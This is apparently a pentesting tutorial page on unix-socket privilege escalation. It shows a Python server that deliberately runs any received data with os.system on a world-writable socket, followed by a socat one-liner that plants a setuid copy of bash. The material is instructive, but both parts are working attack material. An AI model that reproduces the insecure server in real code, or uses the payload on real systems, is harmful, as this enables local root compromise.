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## Socket binding example with Python
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
{% code title="s.py" %}
```python
import socket
import os, os.path
import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
```
{% endcode %}
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
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